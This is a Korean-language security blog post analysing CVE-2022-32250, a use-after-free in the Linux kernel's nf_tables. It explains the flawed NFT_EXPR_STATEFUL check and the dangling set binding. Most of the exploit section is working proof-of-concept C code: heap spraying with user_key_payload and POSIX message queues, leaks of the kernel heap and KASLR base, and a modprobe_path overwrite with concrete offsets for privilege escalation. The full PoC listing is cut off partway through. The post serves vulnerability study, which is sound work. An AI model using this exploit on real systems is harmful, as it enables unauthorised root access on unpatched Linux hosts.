일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | ||||||
2 | 3 | 4 | 5 | 6 | 7 | 8 |
9 | 10 | 11 | 12 | 13 | 14 | 15 |
16 | 17 | 18 | 19 | 20 | 21 | 22 |
23 | 24 | 25 | 26 | 27 | 28 |
- newbie
- kernel image
- xz-utils
- Kernel
- CVE-2024-3094
- kernel build
- rootfs
- liblzma
- kernel img
- cwe-506
- 백도어
- Today
- Total
ZZoMb1E
[CVE] nf_tables (CVE-2022-32250) 본문
※ 자료들을 참고하여 분석을 진행하였기에 잘못된 부분이 있을지도 모릅니다.
※ 보완 혹은 수정해야 되는 부분이 있다면 알려주시면 확인 후 조치하도록 하겠습니다.
해당 Target에 대한 정보는 앞서 포스팅한 CVE-2022-1015, CVE-2022-1016을 참고하면 된다.
https://whrdud727.tistory.com/entry/CVE-nftables-CVE-2022-1016
1. Target
nf_tables
- Linux Kernel의 Netfilter 시스템에서 동작하는 규칙 기반 packit filtering 시스템이다.
Netfilter
- Linux에서 패킷 필터링과 패킷 처리를 관리하는 핵심 component
2. CVE & CWE
CVE-2022-32250
Linux Kernel의 5.18.1 이전까지 net/netfilter/nf_tables_api.c에서 발생한 로컬 사용자가 Namespace 및 User를 생성할 수 있음을 이용한 LPE(권한 상승) 취약점이다.
- 잘못된 NFT_STATEFULE_EXPR 검사로 인한 Use After Free 취약점
CWE-416
메모리가 해제된 이후 다시 사용되거나 참조될 때 발생하는 Use After Free 취약점
3. CVE 관련 정보
https://nvd.nist.gov/vuln/detail/cve-2022-32250
https://cve.mitre.org/cgi-bin/cvename.cgi?name=2022-32250
https://cwe.mitre.org/data/definitions/416.html
4. Vulnerability
nf_tables에서 set에 대한 expr을 할당하는 과정에서 잘못된 플래그 검사 방식을 사용하기 때문에 취약점이 발생
-> (유효하지 않은 expr이 담긴 set을 할당하는 과정)
struct nft_expr *nft_set_elem_expr_alloc(const struct nft_ctx *ctx,
const struct nft_set *set,
const struct nlattr *attr)
{
struct nft_expr *expr;
int err;
expr = nft_expr_init(ctx, attr);
if (IS_ERR(expr))
return expr;
err = -EOPNOTSUPP;
if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL))
goto err_set_elem_expr;
if (expr->ops->type->flags & NFT_EXPR_GC) {
if (set->flags & NFT_SET_TIMEOUT)
goto err_set_elem_expr;
if (!set->ops->gc_init)
goto err_set_elem_expr;
set->ops->gc_init(set);
}
return expr;
err_set_elem_expr:
nft_expr_destroy(ctx, expr);
return ERR_PTR(err);
}
nft_set_elem_expr_alloc()는 set에 expr object를 생성하여 할당하는 기능을 수행하는 함수이다.
해당 함수를 살펴보면 nft_expr_init()을 호출하여 메모리를 할당하는데, 이후 expr->ops->type->flags에 대한 검사를 수행한다. 정상적인 방식이라면 먼저 플래그에 대한 검사를 수행하고 나서 메모리를 할당하는 구조인데 그렇지 않은 이 구조에서 취약점이 발생하게 된다.
static struct nft_expr *nft_expr_init(const struct nft_ctx *ctx,
const struct nlattr *nla)
{
struct nft_expr_info info;
struct nft_expr *expr;
struct module *owner;
int err;
err = nf_tables_expr_parse(ctx, nla, &info);
if (err < 0)
goto err1;
err = -ENOMEM;
expr = kzalloc(info.ops->size, GFP_KERNEL);
if (expr == NULL)
goto err2;
err = nf_tables_newexpr(ctx, &info, expr);
if (err < 0)
goto err3;
return expr;
err3:
kfree(expr);
err2:
owner = info.ops->type->owner;
if (info.ops->type->release_ops)
info.ops->type->release_ops(info.ops);
module_put(owner);
err1:
return ERR_PTR(err);
}
nft_expr_init()에서 nf_tables_expr_parse()를 통해 expr에 대한 정보를 파싱해온 후, 이후 kzmalloc()으로 메모리를 할당한다.(expr)
kzmalloc()은 kmalloc과 달리 메모리를 할당하면서 초기화를 진행하는 함수이다.
User 영역의 calloc()과 동일
expr을 위한 공간을 할당한 이후에 nf_tables_newexpr()를 호출한다.
static const struct nft_expr_ops nft_lookup_ops = {
.type = &nft_lookup_type,
.size = NFT_EXPR_SIZE(sizeof(struct nft_lookup)),
.eval = nft_lookup_eval,
.init = nft_lookup_init,
.activate = nft_lookup_activate,
.deactivate = nft_lookup_deactivate,
.destroy = nft_lookup_destroy,
.dump = nft_lookup_dump,
.validate = nft_lookup_validate,
};
현재 nft_lookup에 expr을 할당하는 절차이기에 info.ops에서는 nft_lookup_ops가 실행된다.
이때 할당되는 expr은 kmalloc-64로 할당되게 된다.
static int nf_tables_newexpr(const struct nft_ctx *ctx,
const struct nft_expr_info *info,
struct nft_expr *expr)
{
const struct nft_expr_ops *ops = info->ops;
int err;
expr->ops = ops;
if (ops->init) {
err = ops->init(ctx, expr, (const struct nlattr **)info->tb);
if (err < 0)
goto err1;
}
return 0;
err1:
expr->ops = NULL;
return err;
}
nf_tables_newexpr()에서 expr->ops를 참고하여 함수를 실행하는데 여기서는 nft_lookup_init()이 실행된다.
.init = nft_lookup_init,
static int nft_lookup_init(const struct nft_ctx *ctx,
const struct nft_expr *expr,
const struct nlattr * const tb[])
{
struct nft_lookup *priv = nft_expr_priv(expr);
u8 genmask = nft_genmask_next(ctx->net);
struct nft_set *set;
u32 flags;
int err;
if (tb[NFTA_LOOKUP_SET] == NULL ||
tb[NFTA_LOOKUP_SREG] == NULL)
return -EINVAL;
set = nft_set_lookup_global(ctx->net, ctx->table, tb[NFTA_LOOKUP_SET],
tb[NFTA_LOOKUP_SET_ID], genmask);
if (IS_ERR(set))
return PTR_ERR(set);
err = nft_parse_register_load(tb[NFTA_LOOKUP_SREG], &priv->sreg,
set->klen);
if (err < 0)
return err;
if (tb[NFTA_LOOKUP_FLAGS]) {
flags = ntohl(nla_get_be32(tb[NFTA_LOOKUP_FLAGS]));
if (flags & ~NFT_LOOKUP_F_INV)
return -EINVAL;
if (flags & NFT_LOOKUP_F_INV) {
if (set->flags & NFT_SET_MAP)
return -EINVAL;
priv->invert = true;
}
}
if (tb[NFTA_LOOKUP_DREG] != NULL) {
if (priv->invert)
return -EINVAL;
if (!(set->flags & NFT_SET_MAP))
return -EINVAL;
err = nft_parse_register_store(ctx, tb[NFTA_LOOKUP_DREG],
&priv->dreg, NULL, set->dtype,
set->dlen);
if (err < 0)
return err;
} else if (set->flags & NFT_SET_MAP)
return -EINVAL;
priv->binding.flags = set->flags & NFT_SET_MAP;
err = nf_tables_bind_set(ctx, set, &priv->binding);
if (err < 0)
return err;
priv->set = set;
return 0;
}
nft_lookup object 초기화 후, nf_tables_bind_set()을 호출하여 set과 expr을 Double Linked List로 연결한다.
int nf_tables_bind_set(const struct nft_ctx *ctx, struct nft_set *set,
struct nft_set_binding *binding)
{
struct nft_set_binding *i;
struct nft_set_iter iter;
if (set->use == UINT_MAX)
return -EOVERFLOW;
if (!list_empty(&set->bindings) && nft_set_is_anonymous(set))
return -EBUSY;
if (binding->flags & NFT_SET_MAP) {
/* If the set is already bound to the same chain all
* jumps are already validated for that chain.
*/
list_for_each_entry(i, &set->bindings, list) {
if (i->flags & NFT_SET_MAP &&
i->chain == binding->chain)
goto bind;
}
iter.genmask = nft_genmask_next(ctx->net);
iter.skip = 0;
iter.count = 0;
iter.err = 0;
iter.fn = nf_tables_bind_check_setelem;
set->ops->walk(ctx, set, &iter);
if (iter.err < 0)
return iter.err;
}
bind:
binding->chain = ctx->chain;
list_add_tail_rcu(&binding->list, &set->bindings);
nft_set_trans_bind(ctx, set);
set->use++;
return 0;
}
set->bindings 리스트를 확인하여 set에 이미 연결된 expr에 대한 처리를 수행한다.
- 연결된 것이 있다면 새로 할당된 expr을 set과 연결된 expr에 연결
- 비어있다면 set과 새로 할당된 expr을 연결
정상적인 할당을 수행하면 위 그림과 같은 구조로 만들어진다.
struct nft_expr {
const struct nft_expr_ops *ops;
unsigned char data[]
__attribute__((aligned(__alignof__(u64))));
};
struct nft_lookup {
struct nft_set *set;
u8 sreg;
u8 dreg;
bool invert;
struct nft_set_binding binding;
};
nft_expr->data에 nft_lookup 구조체가 연결, nft_lookup->binding 구조체가 set 또는 다른 expr과 연결된 Double Linked list 구조이다.
struct nft_expr *nft_set_elem_expr_alloc(const struct nft_ctx *ctx,
const struct nft_set *set,
const struct nlattr *attr)
{
struct nft_expr *expr;
int err;
expr = nft_expr_init(ctx, attr);
...
err = -EOPNOTSUPP;
if (!(expr->ops->type->flags & NFT_EXPR_STATEFUL))
goto err_set_elem_expr;
...
err_set_elem_expr:
nft_expr_destroy(ctx, expr);
return ERR_PTR(err);
}
nft_expr_init() 실행 후 다시 복귀한 이후에, expr->ops->type->flags가 NFT_EXPR_STATEFUL인지 검사를 수행하고, 만족하지 않는 경우 nft_expr_destroy()가 실행된다.
void nft_expr_destroy(const struct nft_ctx *ctx, struct nft_expr *expr)
{
nf_tables_expr_destroy(ctx, expr);
kfree(expr);
}
nft_expr_destroy()는 nf_tables_expr_destroy()를 실행 후, kfree()를 통해 expr object를 해제한다.
static void nf_tables_expr_destroy(const struct nft_ctx *ctx,
struct nft_expr *expr)
{
const struct nft_expr_type *type = expr->ops->type;
if (expr->ops->destroy)
expr->ops->destroy(ctx, expr);
module_put(type->owner);
}
expr->ops->destroy를 통해 nft_lookup_destroy()가 실행된다.
static void nft_lookup_destroy(const struct nft_ctx *ctx,
const struct nft_expr *expr)
{
struct nft_lookup *priv = nft_expr_priv(expr);
nf_tables_destroy_set(ctx, priv->set);
}
nf_tables_destroy_set()를 실행한다.
void nf_tables_destroy_set(const struct nft_ctx *ctx, struct nft_set *set)
{
if (list_empty(&set->bindings) && nft_set_is_anonymous(set))
nft_set_destroy(ctx, set);
}
nf_tables_distroy_set()는 expr과 연결된 set를 destroy 수행한다.
- set->bindings은 앞의 nft_expr_init() 내부의 nf_tables_bind_set()에 의해 expr과 연결되어 있는 상태
- list_empty() 조건이 만족하지 못하기 때문에 set은 해제되지 않음
expr은 nft_expr_destroy()에서 해제가 되지만 set은 해제되지 않는 상태가 된다.
즉 set->bindings에는 expr object 주소가 남아있게 되어 Use After Free 취약점이 발생하게 된다.
정상적인 nf_tables는 이와 같이 Double Linked List 구조라고 했었다.
이제 취약점을 Trigger 했을 때 어떻게 되는지를 살펴보겠다.
NFT_EXPR_STATEFUL flag가 없는 nft_lookup expr을 통해 set에 할당하려고 시도하는 경우 expr은 해제되지만 set은 해제되지 않는다. 이때 set->bindings에 해제되어 버리는 nft_expr(*nft_lookup) obejct가 남아있게 된다.
이후 nf_tables_bind_set()을 통해 새로 할당하고 bind할 때 set에 다른 expr이 존재하는 경우 새로 할당된 expr을 기존 expr에 연결한다.
kmalloc-64 청크에서 bindings.next에 대한 offset은 0x18이다.
앞서 설명한 방법을 사용하면 expr의 주소를 덮어쓰는 것이 가능해지고, 새로 할당된 expr 역시 유효하지 않은 경우 2개의 UAF 청크를 만들 수 있다.
5. PoC
PoC에서는 kmalloc-64 구조체를 조작하기 위해서 user_key_payload, posix_msg_tree_node 구조체를 이용한다.
LPE를 할 것인데 msg_msg 구조체를 사용하지 않는 이유는 msg_msg 구조체의 경우 +0x18에 접근이 불가능하며, Kernel 5.15부터는 msg_msg 구조체가 GEP_KERNEL_ACCOUNT flag로 할당되기 때문에 일반적인 방법으로는 GFP_KERNEL flag로 할당되는 nft_expr(*nft_lookup) 청크와 결합되게 만들 수 없게 되었다.
struct user_key_payload
struct user_key_payload {
struct rcu_head rcu;
unsigned short datalen;
char data[] __aligned(__alignof__(u64));
};
struct callback_head {
struct callback_head *next;
void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head
user_key_payload 구조체는 Kernel의 Kering을 위해 동작한다.
Kering은 Linux Kernel에서 암호화 키, 인증 토큰 등의 기타 민감함 데이터를 안전하게 저장 및 관리하는데 사용되는 하위 시스템이다.
set_add_key syscall을 통해 새로운 키를 추가, sys_keyctl syscall을 통해 상호작용을 수행한다.
user_key_payload의 +0x18 에는 data라는 맴버 변수가 존재한다. 이는 user_key_payload 구조체와 해제된 nft_expr(*nft_lookup) 청크를 경합했을 때 user_key_payload->data를 통해 +0x18에 해당하는 nft_lookup->binding의 값을 읽거나 덮어쓸 수 있게 된다.
int user_preparse(struct key_preparsed_payload *prep)
{
struct user_key_payload *upayload;
size_t datalen = prep->datalen;
if (datalen <= 0 || datalen > 32767 || !prep->data)
return -EINVAL;
upayload = kmalloc(sizeof(*upayload) + datalen, GFP_KERNEL);
if (!upayload)
return -ENOMEM;
/* attach the data */
prep->quotalen = datalen;
prep->payload.data[0] = upayload;
upayload->datalen = datalen;
memcpy(upayload->data, prep->data, datalen);
return 0;
}
user_key_payload 구조체는 user_preparse()를 통해 할당된다.
[ add_key(syscall) -> key_create_or_update() -> index_key.type->preparse() 에서 user_preparse()가 호출된다.]
메모리를 할당한 이후에는 memcpy()를 통해 user_key_payload->data 멤버 변수에 User로 부터 받은 prep->data 값을 복사하는 데 이를 이용하여 nft_lookup->binding을 조작할 수 있게 된다.
typedef int32_t key_serial_t;
static inline key_serial_t sys_add_key(const char *type, const char *desc, const void *payload, size_t plen, int ringid)
{
return syscall(__NR_add_key, type, desc, payload, plen, ringid);
}
syscall을 통해 위의 조작 과정을 Trigger 할 수 있다.
SYSCALL_DEFINE5(keyctl, int, option, unsigned long, arg2, unsigned long, arg3,
unsigned long, arg4, unsigned long, arg5)
{
switch (option) {
...
case KEYCTL_READ:
return keyctl_read_key((key_serial_t) arg2,
(char __user *) arg3,
(size_t) arg4);
...
}
sys_keyctl syscall을 사용하면 user->key_payload->data의 값을 읽을 수 있는데 이를 이용하여 memory leak을 수행할 수 있다.
static inline key_serial_t sys_keyctl(int cmd, ...)
{
va_list ap;
long arg2, arg3, arg4, arg5;
va_start(ap, cmd);
arg2 = va_arg(ap, long);
arg3 = va_arg(ap, long);
arg4 = va_arg(ap, long);
arg5 = va_arg(ap, long);
va_end(ap);
return syscall(__NR_keyctl, cmd, arg2, arg3, arg4, arg5);
}
keyctl_read_key()는 sys_keyctl syscall인자로 KECTL_READ를 주어 Leak에 대한 Trigger가 가능하다.
Heap spray를 수행하게 되면 이와 같이 데이터들이 저장되는 것을 볼 수 있다.
이후 실제로 사용되는 메모리가 binding되면 +0x18 위치에 Heap 영역의 주소가 들어있는 것을 볼 수 있다.
실제로 Leak된 값과 동일하다.
struct posix_msg_tree_node
struct posix_msg_tree_node {
struct rb_node rb_node;
struct list_head msg_list;
int priority;
};
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};
해당 구조체는 mqueue에서 사용하는 구조체이다.
mqueue : POSIX Message Queue를 구현한 Linux Kernel의 시스템으로 프로세스 간 통신을 위해 사용한다.
+0x18을 살펴보면 posix_msg_tree_node->list_head.next가 있는데, 이는 nft_expr(*nft_lookup) object의 Dangling Pointer를 덮어쓸 수 있다.
- posix_msg_tree_node->msg_list 멤버 변수는 msg_msg 구조체를 담고 있는 linked list이다. 여기에 취약점을 Trigger 하게 되면 이미 해제된 nft_expr(*nft_lookup) object를 msg_msg 구조체로 Type Confusion을 일으킬 수 있게 된다.
- nft_expr(*nft_lookup object를 user_key_payload 구조체와 경합하게 되면 msg_msg object를 덮어쓸 수 있게 된다.
// open queue
struct mq_attr attr;
attr.mq_flags = 0;
attr.mq_maxmsg = MQ_MAX_COUNT;
attr.mq_msgsize = MQ_SIZE;
attr.mq_curmsgs = 0;
mqd_t mq = mq_open(queue_name, O_CREAT | O_RDWR, 0644, &attr);
// send msg
struct timespec ts;
char buffer[MQ_SIZE] = {0, };
if (clock_gettime(CLOCK_REALTIME, &ts) == -1) {
perror("clock_gettime");
exit(1);
}
memcpy(buffer, "test", 4);
mq_timedsend(mq, buffer, MQ_SIZE, 0, &ts);
// recv msg
struct timespec ts;
char buffer[MQ_SIZE] = {0, };
if (clock_gettime(CLOCK_REALTIME, &ts) == -1) {
perror("clock_gettime");
exit(1);
}
mq_timedreceive(mq, buffer, MQ_SIZE, NULL, &ts);
do_mq_timedsend syscall을 사용하여 posix_msg_tree_node object를 할당하거나 do_mq_timedreceive syscall를 통해 posix_msg_tree_node 구조체와 연결된 msg_msg object를 읽을 수 있다.
PoC에서는 앞서 설명한 2개의 구조체를 사용하여 Exploit을 수행한다.
user_key_payload 구조체를 이용하여 Kernel Heap 주소를 Leak수행한다.
굳이 Heap 주소를 구하는 이유는 posix_msg_tree_node 구조체의 멤버 변수 중에서 유효한 주소를 필요로 하는데, 만약 해당 변수가 유효하지 않은 주소가 들어가게 된다면 Kernel Pannic이 발생하게 된다. 때문에 유효한 주소인 Heap 주소를 구하고 이를 이용하 msg_msg 구조체를 덮어쓰는 것이다.
해제된 청크를 user_key_payload와 경합 후 다시 Trigger을 하게 되면 nft_lookup->binding.next에 다른 nft_expr(*nft_lookup) object의 주소를 덮어쓸 수 있다.
user_key_payload->data의 값이 nft_expr(*nft_lookup) object의 주소인 Heap 영역의 주소가 위치하기 때문에 이를 읽게 되면 Leak을 수행할 수 있다.
#define KEY_PAYLOAD_SIZE 40
#define KEY_SPRAY_COUNT 90
//uint32_t key_count = 0;
key_serial_t* spray_user_key_payload(int start, int end){
key_serial_t *keys = calloc(end-start, sizeof(key_serial_t));
char payload[KEY_PAYLOAD_SIZE] = {0, };
for(int i=start; i<end; i++){
snprintf(payload, KEY_PAYLOAD_SIZE, "payload-%d", i);
keys[i] = sys_add_key("user", payload, payload, KEY_PAYLOAD_SIZE, KEY_SPEC_USER_KEYRING);
if (keys[i] == -1)
err(1, "[-] failed key spraying");
}
printf("[+] sprayed user_key_payload\n");
return keys;
}
int leak_heap_addr_and_get_uaf_keyid(key_serial_t *keys, uint64_t *kheap){
int ret = 0;
char buffer[KEY_PAYLOAD_SIZE] = {0, };
for(int i=0; i<KEY_SPRAY_COUNT; i++){
ret = sys_keyctl(KEYCTL_READ, keys[i], buffer, sizeof(buffer));
if (ret == -1)
err(1, "[-] failed key read");
//printf("[*] kheap = 0x%lx\n", *((uint64_t*)buffer));
if((uint8_t)buffer[7] == 0xff){
*kheap = *((uint64_t*)buffer);
return i;
}
}
err(1, "[-] failed leak kernel heap address");
}
void revoke_all_sprayed_keys(key_serial_t *keys, int start, int end){
int c = 0;
for(int i=start; i<end; i++){
if(keys[c]!=0)
revoke_key(keys[c]);
c++;
}
printf("[+] revoked all sprayed keys\n");
}
void unlink_all_sprayed_keys(key_serial_t *keys, int start, int end){
int c = 0;
for(int i=start; i<end; i++){
if(keys[c]!=0)
unlink_key(keys[c]);
c++;
}
printf("[+] unlinked all sprayed keys\n");
}
해당 기능을 수행하는 사용자 지정 함수들이다.
//main()
printf("\n\n============================== [ 1. Leaking Kernel Heap Address ] ==============================\n");
netfilter_new_table(nl, "table1");
netfilter_new_stable_set(nl, "table1", "set_stable1");
netfilter_new_uaf_set(nl, "table1", "uaf_set1", "set_stable1");
//할당 -> 여기서 UAF 취약점이 발생
key_serial_t *spray_keys = spray_user_key_payload(0, KEY_SPRAY_COUNT);
//heap spray를 통해서 해제된 청크를 user_key_payload 구조체로 병합
netfilter_new_uaf_set(nl, "table1", "uaf_set1", "set_stable1");
//다시 expr 생성과정을 통해 +0x18의 heap 주소를 가지게 설정
uint64_t kheap = 0;
int keyid = leak_heap_addr_and_get_uaf_keyid(spray_keys, &kheap);
printf("[*] kheap = 0x%lx (keyid = %d)\n", kheap, keyid);
//leak 수행
revoke_all_sprayed_keys(spray_keys, 0, KEY_SPRAY_COUNT);
unlink_all_sprayed_keys(spray_keys, 0, KEY_SPRAY_COUNT);
main()의 흐름에서 마지막에 KEYCTL_REVOKE, KEYCTL_UNLINK는 user_key_payload->rcu에 해제 함수를 등록하고 keyring을 제거하는 역할을 수행한다. (key를 할당하는 것은 제한적이기 때문에 해제를 해준다.)
같은 방법으로 KASLR을 우회하기 위한 Kernel base를 구해주어야 한다.
posix_msg_tree_node를 해제된 청크화 경합 후 다시 취약점을 Trigger 하게 되면, posix_msg_tree_node->msg_list 맴버 변수를 또 다른 nft_expr(*nft_lookup) object로 덮어쓸 수 있다.
이후 nft_expr(*nft_lookup) object를 user_key_payload와 경합한다. 이렇게 되면 +0x18을 이용하여 msg_msg의 메타 데이터를 조작할 수 있게 된다. (msg_msg->m_ts에 의해 msg_msg 크기가 결정되는데 이를 이용해 메모리 경계를 넘어 다른 obejct로의 접근이 가능해진다.)
이후 user_key_payload->rcu.func에 담긴 주소를 leak하게 되면 KASLR을 우회할 수 있다.
do_mq_timedreceive syscall을 사용하여 posix_msg_tree_node→msg_lisg.next(msg_msg)→ data[]를 읽을 때 Kernel Pannic이 발생하지 않게 하기 위해서는 msg_msg를 다음과 같은 메타 데이터로 덮어줘야 한다.
msg_list.next, msg_list.prev, *security → 임의의 Heap 주소
m_ts : msg_msg 데이터 size
m_type : dummy 8 byte
이때 위의 조건을 만족시켜주지 못하면 Kernel Pannic이 발생하기 때문에 주의해줘야 한다.
key_serial_t *spray_fake_obj_keys(uint64_t addr1, uint64_t addr2, int start, int end){
key_serial_t *keys = calloc(end-start, sizeof(key_serial_t));
char payload[KEY_PAYLOAD_SIZE] = {0, };
char desc[KEY_PAYLOAD_SIZE] = {0, };
uint64_t m_ts = 0x28;
memcpy(payload,(char*)(&addr1),0x8); // m_list.next
memcpy(payload+0x8,(char*)(&addr2),0x8); // m_list.prev
memcpy(payload+0x10,"AAAAAAAA",0x8); // m_type
memcpy(payload+0x18,(char*)(&m_ts),0x8); // m_ts
int c = 0;
for(int i=start; i<end; i++){
snprintf(desc, KEY_PAYLOAD_SIZE, "payload-%d-fake", i);
keys[c] = sys_add_key("user", desc, payload, KEY_PAYLOAD_SIZE-1, KEY_SPEC_USER_KEYRING);
if (keys[c] == -1)
err(1, "[-] failed key spraying");
c++;
}
printf("[+] sprayed fake obj user_key_payload\n");
return keys;
}
#define MQ_MAX_COUNT 10
#define MQ_COUNT 1
#define MQ_SIZE 24
mqd_t sys_mq_open(char *queue_name){
struct mq_attr attr;
attr.mq_flags = 0;
attr.mq_maxmsg = MQ_MAX_COUNT;
attr.mq_msgsize = MQ_SIZE;
attr.mq_curmsgs = 0;
// 메시지 큐 열기
mqd_t mq = mq_open(queue_name, O_CREAT | O_RDWR, 0644, &attr);
if (mq == (mqd_t)-1) {
err(1, "[-] failed mq_open");
}
printf("[+] mq_open : %s\n", queue_name);
return mq;
}
void create_fake_obj_posix_msg_tree_node(mqd_t mq){
struct timespec ts;
char buffer[MQ_SIZE] = {0, };
if (clock_gettime(CLOCK_REALTIME, &ts) == -1) {
perror("clock_gettime");
exit(1);
}
memcpy(buffer, "test", 4);
if (mq_timedsend(mq, buffer, MQ_SIZE, 0, &ts) == -1){
err(1, "[-] failed mq_timedsend");
}
printf("[+] nft_expr(+nft_lookup) <-> posix_msg_tree_node\n");
}
uint64_t leak_kaslr_base_by_read_mq(mqd_t mq){
struct timespec ts;
char buffer[1024] = {0, };
if (clock_gettime(CLOCK_REALTIME, &ts) == -1) {
perror("clock_gettime");
exit(1);
}
ssize_t bytes_read = mq_timedreceive(mq, buffer, MQ_SIZE, NULL, &ts);
if (bytes_read == -1)
err(1, "[-] failed mq_timedreceive");
hexdump(buffer,0x20);
if((uint8_t)buffer[7] == 0xff){
return *((uint64_t*)buffer);
} else {
err(1, "[-] failed leak kaslr");
}
}
해당 기능을 수행하는 사용자 지정 함수이다.
//main()
printf("\n\n============================== [ 0. Preapare Exploiting ] ==============================\n");
...
mqd_t mq1 = sys_mq_open("/queue-leak");
mqd_t mq2 = sys_mq_open("/queue-overwrite");
mqd_t mq3 = sys_mq_open("/queue-overwrite3");
...
printf("\n\n============================== [ 2. Leaking KASLR Base Address ] ==============================\n");
netfilter_new_table(nl, "table2");
netfilter_new_stable_set(nl, "table2", "set_stable2");
netfilter_new_uaf_set(nl, "table2", "uaf_set2", "set_stable2");
//잘못된 flag를 사용하여 UAF 조건 상태 조작
create_fake_obj_posix_msg_tree_node(mq1);
//posix_msg_tree_node 구조체로 병합
key_serial_t *spray_keys2 = spray_user_key_payload(0, KEY_SPRAY_COUNT);
//spray를 통해 user_key_payload 할당 -> msg_msg 조작을 위함
netfilter_new_uaf_set(nl, "table2", "uaf_set2", "set_stable2");
key_serial_t *fake_obj_keys = spray_fake_obj_keys(kheap, kheap, 0, KEY_SPRAY_COUNT);
fake_obj_keys = spray_fake_obj_keys(kheap, kheap, 0, KEY_SPRAY_COUNT);
//청크 조작
revoke_all_sprayed_keys(spray_keys2, 0, KEY_SPRAY_COUNT);
uint64_t kernel_base = leak_kaslr_base_by_read_mq(mq1) - 0x373330;
printf("[*] Kernel Base = 0x%lx\n", kernel_base);
revoke_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);
unlink_all_sprayed_keys(spray_keys2, 0, KEY_SPRAY_COUNT);
unlink_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);
//spray된 모든 청크 정리
동일한 과정을 통해 0xffffffff81373330이 leak이 된다.
PoC에서 Offset 계산을 수행하는 부분과 비교해 보면 값을 정상적으로 구해내는 것을 확인할 수 있다.
취약점을 Trigger 하여 Heap, Kernel base 주소를 구해냈다.
이후 구해낸 값들을 가지고 Exploit을 시도한다.
static inline struct msg_msg *msg_get(struct mqueue_inode_info *info)
{
struct rb_node *parent = NULL;
struct posix_msg_tree_node *leaf;
struct msg_msg *msg;
...
msg = list_first_entry(&leaf->msg_list,
struct msg_msg, m_list);
list_del(&msg->m_list);
...
return msg;
}
static inline void
__list_del(struct list_head *prev, struct list_head *next)
{
next->prev = prev;
prev->next = next;
}
posix_msg_tree_node object를 통한 msg_msg, user_key_payload 경합을 사용하면 앞의 과정처럼 leak을 수행할 수도 있지만 overwrite도 가능하다.
do_mq_timedreceive syscall은 msg_msg object를 일기 위해 msg_get()을 호출하고, 여기서 __list_del()을 통해 msg_msg object를 unlink 한다.
- next→prev = prev, prev→next = next와 같이 메모리 쓰기 작업을 수행
- 구조체 경합을 통해 msg_msg의 next, prev 메타 데이터를 조작할 수 있음
- next : 덮어 쓰일 대상 주소 || prev : 덮어써진 값
이때 Kernel Pannic을 방지하려면 prev에도 정상적인 메모리 주소가 들어가야 한다.
→ (Kernel Heap Address & 0xffffffffffff0000) + 덮어쓸 값
→ 2byte overwrite 가능
→ 여러번 수행 가능하기 때문에 /sbin/modprobe를 조작하여 modprobe_path조작 권한상승 가능해진다.
printf("\n\n============================== [ 3. Overwriting modporbe_path ] ==============================\n");
uint64_t modprobe_path = kernel_base + 0x144dac0;
printf("[*] modprobe_path = 0x%lx\n", modprobe_path);
netfilter_new_table(nl, "table3");
netfilter_new_stable_set(nl, "table3", "set_stable3");
netfilter_new_uaf_set(nl, "table3", "uaf_set3", "set_stable3");
create_fake_obj_posix_msg_tree_node(mq2);
netfilter_new_uaf_set(nl, "table3", "uaf_set3", "set_stable3");
uint64_t modprobe_name = (modprobe_path & 0xffffffffffff0000) + 0x6d74;
fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+1, modprobe_name, 0, KEY_SPRAY_COUNT);
fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+1, modprobe_name, 0, KEY_SPRAY_COUNT);
just_read_mq(mq2);
revoke_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);
unlink_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);
netfilter_new_table(nl, "table4");
netfilter_new_stable_set(nl, "table4", "set_stable4");
netfilter_new_uaf_set(nl, "table4", "uaf_set4", "set_stable4");
create_fake_obj_posix_msg_tree_node(mq3);
netfilter_new_uaf_set(nl, "table4", "uaf_set4", "set_stable4");
modprobe_name = (modprobe_path & 0xffffffffffff0000) + 0x2f70;
fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+3, modprobe_name, 0, KEY_SPRAY_COUNT);
fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+3, modprobe_name, 0, KEY_SPRAY_COUNT);
just_read_mq(mq3);
전체 코드는 하단의 [접은 글]확인 -> 진짜 너무 길다....
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <sched.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <fcntl.h>
#include <err.h>
#include <libmnl/libmnl.h>
#include <libnftnl/chain.h>
#include <libnftnl/expr.h>
#include <libnftnl/rule.h>
#include <libnftnl/table.h>
#include <libnftnl/set.h>
#include <linux/netfilter.h>
#include <linux/netfilter/nf_tables.h>
#include <linux/netfilter/nfnetlink.h>
#include <sched.h>
#include <sys/types.h>
#include <signal.h>
#include <net/if.h>
#include <asm/types.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <sys/socket.h>
#include <linux/ethtool.h>
#include <linux/sockios.h>
#include <sys/xattr.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/keyctl.h>
#include <mqueue.h>
#include <time.h>
#include <sys/msg.h>
#include <sys/ipc.h>
// gcc poc.c -o poc -l mnl -l nftnl
// gcc poc.c -o poc -static -L/usr/local/lib/ -l nftnl -l mnl
void hexdump(const void* data, size_t size) {
unsigned char *p = (unsigned char*)data;
for (size_t i = 0; i < size; i++) {
printf("%02X ", p[i]);
if ((i + 1) % 16 == 0 || i == size - 1) {
printf("\n");
}
}
}
void write_to_file(const char *which, const char *format, ...) {
FILE * fu = fopen(which, "w");
va_list args;
va_start(args, format);
if (vfprintf(fu, format, args) < 0) {
perror("cannot write");
exit(1);
}
fclose(fu);
}
void init_cpu(void){
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(0, &set);
if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {
perror("[-] sched_setaffinity");
exit(EXIT_FAILURE);
}
}
void init_namespace(void) {
uid_t uid = getuid();
gid_t gid = getgid();
if (unshare(CLONE_NEWUSER) < 0) {
